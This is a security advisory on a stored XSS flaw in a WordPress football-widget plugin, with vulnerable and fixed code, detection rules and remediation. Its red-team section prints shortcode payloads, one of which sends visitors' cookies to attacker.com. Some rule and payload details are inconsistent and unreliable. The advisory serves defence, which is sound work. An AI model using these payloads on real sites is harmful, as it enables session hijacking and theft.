CVE-2025-11129

Executive Summary

CVE-2025-11129 is a Stored Cross-Site Scripting (XSS) vulnerability in the Include Fussball.de Widgets WordPress plugin, affecting all versions up to and including 4.0.0. The flaw resides in insufficient input sanitization and output escaping of the api and type parameters, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload, potentially leading to session hijacking, defacement, or data theft.

This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The plugin is used to embed football (soccer) widgets from fussball.de into WordPress sites.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin's update mechanism; users must manually update or rely on WordPress auto-updates if available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but is easy to exploit once access is obtained. The impact is limited to low confidentiality and integrity loss, but the stored XSS can be used to pivot to higher-privilege attacks.

Deep Dive & Mechanics

The vulnerability exists in the include-fussball-de-widgets plugin, which processes user-supplied shortcodes or parameters to embed widgets. The api and type parameters are not properly sanitized or escaped before being stored in the WordPress database or rendered in the frontend.

Root Cause: The plugin uses add_shortcode() to register a shortcode that accepts api and type attributes. These attributes are directly concatenated into JavaScript or HTML output without proper escaping (e.g., esc_attr() or wp_kses()). An attacker with Contributor-level access can create a post or page containing a malicious shortcode like:

[fussball-widget api="<script>alert('XSS')</script>" type="league"]

When the post is viewed, the script executes in the context of the victim's browser.

Attack Flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker creates a new post or page.
3. Attacker inserts a shortcode with malicious payload in api or type parameter.
4. Post is published or saved as draft (if draft, only users with access see it).
5. Victim visits the page; the injected script executes.

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin source):

// In a shortcode handler function
function fussball_widget_shortcode($atts) {
    $atts = shortcode_atts(array(
        'api' => '',
        'type' => ''
    ), $atts);
    $output = '<div class="fussball-widget" data-api="' . $atts['api'] . '" data-type="' . $atts['type'] . '"></div>';
    return $output;
}
add_shortcode('fussball-widget', 'fussball_widget_shortcode');

Patched Code (hypothetical fix):

function fussball_widget_shortcode($atts) {
    $atts = shortcode_atts(array(
        'api' => '',
        'type' => ''
    ), $atts);
    $api = esc_attr($atts['api']);
    $type = esc_attr($atts['type']);
    $output = '<div class="fussball-widget" data-api="' . $api . '" data-type="' . $type . '"></div>';
    return $output;
}
add_shortcode('fussball-widget', 'fussball_widget_shortcode');

The fix uses esc_attr() to escape HTML attribute values, preventing XSS.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Include Fussball.de Widgets plugin <= 4.0.0
• Contributor-level account credentials

Exploitation Steps:

1. Log in to WordPress admin.
2. Navigate to Posts > Add New.
3. In the content editor, switch to Text mode.
4. Insert the following shortcode:

   [fussball-widget api="<script>alert(document.cookie)</script>" type="league"]
   

5. Publish the post.
6. When any user visits the post, the JavaScript executes.

Advanced Payload (session hijacking):

[fussball-widget api="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" type="league"]

Blue Team (Defender)

Detection:

• Monitor for posts/pages containing suspicious shortcode parameters.
• Look for api or type attributes containing <script> tags or event handlers.
• Use WAF rules to block shortcode parameters with HTML/JavaScript.

Hunting:

• Query WordPress database for posts with shortcode patterns:

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%[fussball-widget%';
  

• Review post revisions for injected scripts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/include-fussball-de-widgets/include-fussball-de-widgets.php (or similar main plugin file)
• Shortcode pattern: [fussball-widget api="<script>...</script>" type="..."]
• Network: Outbound requests to attacker-controlled domains from WordPress admin or frontend.
• Logs: WordPress debug log entries showing unexpected shortcode attributes.

Detection Engineering

YARA Rule

rule wordpress_fussball_xss {
    meta:
        description = "Detects malicious shortcode injection in Include Fussball.de Widgets plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11129"
    strings:
        $shortcode = /\[fussball-widget\s+api\s*=\s*["'][^"']*<script[^>]*>.*?<\/script>["']/
        $type_param = /type\s*=\s*["'][^"']*<[^>]+>["']/
    condition:
        $shortcode or $type_param
}

Sigma Rule

title: WordPress Include Fussball.de Widgets Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via shortcode injection in Include Fussball.de Widgets plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - 'wp-admin/post.php'
            - 'wp-admin/post-new.php'
        http.body|contains: '[fussball-widget'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11129 WordPress Include Fussball.de Widgets Stored XSS"; flow:to_server,established; content:"[fussball-widget"; http_client_body; content:"<script"; http_client_body; distance:0; within:500; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Include Fussball.de Widgets plugin until a patch is available.
2. Review all posts/pages for malicious shortcodes and remove them.
3. Change passwords for Contributor-level accounts if compromise is suspected.

Long-term Fix:

• Apply input sanitization and output escaping to all shortcode parameters (use esc_attr(), wp_kses()).
• Implement capability checks to restrict shortcode usage to trusted roles only.
• Use WordPress nonces to prevent CSRF in shortcode processing.

Workaround:

• Add a custom filter to strip <script> tags from shortcode attributes:

  add_filter('shortcode_atts_fussball-widget', function($out, $pairs, $atts) {
      if (isset($out['api'])) {
          $out['api'] = wp_strip_all_tags($out['api']);
      }
      if (isset($out['type'])) {
          $out['type'] = wp_strip_all_tags($out['type']);
      }
      return $out;
  }, 10, 3);
  

Valters IT - Securing WordPress ecosystems one plugin at a time.